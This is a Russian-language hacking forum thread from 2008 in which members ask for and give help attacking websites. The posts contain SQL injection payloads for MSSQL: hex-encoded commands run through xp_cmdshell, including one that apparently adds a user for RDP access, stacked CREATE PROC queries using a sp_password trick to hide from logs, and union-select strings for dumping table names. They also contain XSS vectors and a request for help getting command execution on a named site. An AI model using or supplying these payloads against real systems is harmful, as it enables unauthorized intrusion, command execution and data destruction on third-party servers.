Ваши вопросы по уязвимостям.

Discussion in 'Уязвимости' started by darky, 4 Aug 2007.

Thread Status:
Not open for further replies.
  1. sabe

    sabe Elder - Старейшина

    Joined:
    16 Mar 2007
    Messages:
    313
    Likes Received:
    178
    Reputations:
    14
    ..))
     
    4 people like this.
  2. SHS

    SHS Elder - Старейшина

    Joined:
    4 Aug 2008
    Messages:
    53
    Likes Received:
    2
    Reputations:
    1
    Народ, подскажите пожалуйста как правильно оформить функцию MS SQL для вывода результата(можно и процедуру).
    Пример:
    ------------------
    create function mfunc() returns varchar
    as begin
    declare @sql varchar(8000)
    set @sql=0x73656c65637420404076657273696f6e <---Это запрос "select @@version" зашифрованный в HEX
    exec @sql
    return @sql
    END
    ------------------

    Чето я и доков то нормальных не на гуглил...
    Надо чтоб вывело :
    ------------------
    Microsoft SQL Server 2005 - 9.00.3042.00 (X64) Feb 10 2007 00:59:02 Copyright (c) 1988-2005 Microsoft Corporation Standard Edition (64-bit) on Windows NT 5.2 (Build 3790: Service Pack 2)
    ------------------
    В таком роде...
     
    #4122 SHS, 17 Dec 2008
    Last edited: 17 Dec 2008
  3. serfertty

    serfertty Guest

    Reputations:
    0
    В МС СКЛ Хекс не действует.Почитай статьи про инъекты м МС СКЛ.
     
  4. SHS

    SHS Elder - Старейшина

    Joined:
    4 Aug 2008
    Messages:
    53
    Likes Received:
    2
    Reputations:
    1
    Если не работает хекс, то почему тогда срабатывает запрос вида :
    declare @net_grouprdp_add varchar(8000) select @net_grouprdp_add=0x6e6574206c........;exec master..xp_cmdshell @net_grouprdp_add;

    ----
    С функцией я разобрался. Создал процедуру.
     
  5. Mixon

    Mixon Elder - Старейшина

    Joined:
    12 Mar 2008
    Messages:
    394
    Likes Received:
    119
    Reputations:
    12
    Так ответ я и не услышал...
     
  6. iddqd

    iddqd Banned

    Joined:
    19 Dec 2007
    Messages:
    637
    Likes Received:
    519
    Reputations:
    19
    через eval() попробуй.....
    и вместо символов- ascii коды
    http://pro.grammatic.org/post-javascript-eval-stringfromcharcode-encoder-11.aspx
     
  7. SHS

    SHS Elder - Старейшина

    Joined:
    4 Aug 2008
    Messages:
    53
    Likes Received:
    2
    Reputations:
    1
    Проблема:
    -1'CREATE PROC test AS SELECT 1;--sp_password

    'CREATE PROCEDURE' must be the first statement in a query batch.

    Че за фишка? Не въеду...
     
  8. Mixon

    Mixon Elder - Старейшина

    Joined:
    12 Mar 2008
    Messages:
    394
    Likes Received:
    119
    Reputations:
    12
    Оно то всё хорошо,но в теге style комманда javascript: ВООООООООООПШЕЕЕЕЕЕ непашет!!((((((((((( :( :( :( :( :(
     
  9. iddqd

    iddqd Banned

    Joined:
    19 Dec 2007
    Messages:
    637
    Likes Received:
    519
    Reputations:
    19
    кажись уже давали эту ссылку:
    http://www.inattack.ru/article/519.html
    там насчет style 2 вектора есть, попробуй)
     
  10. [Raz0r]

    [Raz0r] Elder - Старейшина

    Joined:
    25 Feb 2007
    Messages:
    425
    Likes Received:
    484
    Reputations:
    295
    попробуй так:
    1';CREATE PROC test AS SELECT 1;--sp_password

    @Mixon
    attr:expression() работает только в IE
    background-image: url(javascript:alert()) должно везде работать
    http://ha.ckers.org/xss.html
     
  11. SHS

    SHS Elder - Старейшина

    Joined:
    4 Aug 2008
    Messages:
    53
    Likes Received:
    2
    Reputations:
    1
    Там опечатка была )) Ну а в целом я так и сделал. И опять такую же ошибку выдает... :(

    Еще одная интересная фишка:
    Если выполнить -1+or+1=(select+user)-- то норм проходит.
    А если попробовать :
    -1+or+1=(SELECT+top+1+table_name+from+information_schema.tables)--
    Выдает:
    Incorrect syntax near the keyword 'top'.

    Если так:
    -1+or+1=(SELECT+table_name+from+information_schema.tables)--
    Incorrect syntax near the keyword 'FROM'.

    Странно.

    З. Ы. Microsoft SQL Server 2000
     
    #4131 SHS, 17 Dec 2008
    Last edited: 17 Dec 2008
  12. Aleans

    Aleans New Member

    Joined:
    14 Dec 2008
    Messages:
    4
    Likes Received:
    0
    Reputations:
    0
    Спасибо тебе огромное!!! А как интересно этот сайт работает?
     
  13. F4R

    F4R Banned

    Joined:
    20 Jun 2008
    Messages:
    224
    Likes Received:
    46
    Reputations:
    2
    помогите немогу подобрать значение!
     
  14. Велемир

    Joined:
    19 Jun 2006
    Messages:
    1,123
    Likes Received:
    96
    Reputations:
    -25
    Обращаюсь к код-хакам:

    function del_news($news_id)
    {
    if ($news_id)
    {
    //echo("del_news<br>");
    $r = mysql_query("SELECT news_icon FROM news WHERE news_id=".$news_id);
    $arr = mysql_fetch_array($r);

    if ($arr[0]){ del_img($news_id);}
    //echo("del_news_id=".$news_id."<br>");
    mysql_query("DELETE FROM news WHERE news_id=".$news_id);
    }
    else echo("Функция del_news(news_id) - не указан news_id.<br>");
    }

    function del_img($news_id)
    {
    if ($news_id)
    {
    //echo("del_img<br>");
    $r = mysql_query("SELECT news_icon FROM news WHERE news_id=".$news_id);
    $arr = mysql_fetch_array($r);
    mysql_query("UPDATE news SET news_icon=NULL WHERE news_id=".$news_id);
    unlink("../".img_path.$arr[0]);
    }
    else echo("Функция del_img(news_id) - не указан news_id.<br>");
    }

    Если поставить DEL запрос - он прокатит ? Если допустить,что $news_id принимает всё,что угодно. Есть в прайс листе такая кнопка Удалить:)),и вместо удаления новости я хочу удалить таблицу)).Покатит ? Как это будет выглядеть,я тоже не совсем понимаю =_=
     
    #4134 Велемир, 17 Dec 2008
    Last edited: 17 Dec 2008
  15. R1dex

    R1dex Elder - Старейшина

    Joined:
    17 Sep 2008
    Messages:
    255
    Likes Received:
    132
    Reputations:
    19
    Тут нет инъекции..
     
  16. F4R

    F4R Banned

    Joined:
    20 Jun 2008
    Messages:
    224
    Likes Received:
    46
    Reputations:
    2
    а что это по твоему?
     
  17. R1dex

    R1dex Elder - Старейшина

    Joined:
    17 Sep 2008
    Messages:
    255
    Likes Received:
    132
    Reputations:
    19
    Просто раскрытие путей.

    Советую почитать FAQ , там написанно, как инъекцию определить..
     
    #4137 R1dex, 18 Dec 2008
    Last edited: 18 Dec 2008
  18. u36a

    u36a Member

    Joined:
    18 Nov 2008
    Messages:
    81
    Likes Received:
    5
    Reputations:
    0
    http://kapstroytelecom.ru/?pid=17'

    Это же mssql? Скорее всего через sa настроено, помогите с инъекцией для выполнения cmd через exec master..xp_cmdshell('')...
     
    #4138 u36a, 18 Dec 2008
    Last edited: 18 Dec 2008
  19. SHS

    SHS Elder - Старейшина

    Joined:
    4 Aug 2008
    Messages:
    53
    Likes Received:
    2
    Reputations:
    1
    Подскажите как победить это:
    1' union select 1,version(),3
    Inconvertible type mismatch between SourceColumn 'LeadDate' of Byte[] and the DataColumn 'LeadDate' of DateTime.
    Сконвертить надо? Каким образом?
    К примеру дулал так - 1' union select 1,cast(version()+as+datetime),3
    В этом случае запрос проходит нормально, только вот результат не выводится...
     
    #4139 SHS, 18 Dec 2008
    Last edited: 18 Dec 2008
  20. l1ght

    l1ght Elder - Старейшина

    Joined:
    5 Dec 2006
    Messages:
    191
    Likes Received:
    678
    Reputations:
    333
    ну так не в datetime а в byte, попробуй не числовые данные конвертировать например из table_name ;)
     
    #4140 l1ght, 18 Dec 2008
    Last edited: 18 Dec 2008
Thread Status:
Not open for further replies.